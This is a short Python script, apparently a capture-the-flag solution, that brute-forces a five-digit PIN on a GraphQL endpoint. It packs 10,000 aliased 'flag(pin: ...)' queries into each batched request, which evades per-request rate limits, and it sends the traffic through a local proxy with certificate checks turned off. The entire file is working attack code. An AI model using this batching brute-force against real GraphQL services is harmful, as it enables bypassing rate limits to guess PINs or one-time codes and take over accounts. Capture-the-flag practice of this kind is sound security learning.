import requests
import random
from string import ascii_letters


URL = "https://web-force-force-2c910d4f6aa5eee1.be.ax"
MAX_CONCURENT = 10_000
QUERY = "$RANDOM$:flag(pin: $PAYLOAD$)"


def random_name():
    """Generates a random key for the GraphQL query"""
    return "".join(random.choice(ascii_letters) for i in range(8))

def check_sucess(resp, tasks):
    """Checks if the response contains the flag"""
    data = resp.json()["data"]

    for key, value in data.items():
        if value != "Wrong!":
            print(tasks[key], value)
            return True
    return False

def brute_force():
    """Brute force using GraphQL batching"""
    tasks = {}
    i = 0

    while i < 10 ** 5:
        payload = "{"
        for _ in range(0, MAX_CONCURENT):
            random_key = random_name() 
            guess_value = str(i)
            tasks[random_key] = guess_value

            payload += " " + QUERY.replace("$RANDOM$", random_key).replace("$PAYLOAD$", guess_value)
            i += 1
        payload += " }"

        resp = requests.post(
            URL,
            headers={"Content-Type": "text/plain;charset=UTF-8"},
            data=payload,
            proxies={
                "http": "127.0.0.1:8080",
                "https": "127.0.0.1:8080"
            },
            verify=False
        )

        if check_sucess(resp, tasks):
            return

if __name__ == "__main__":
    brute_force()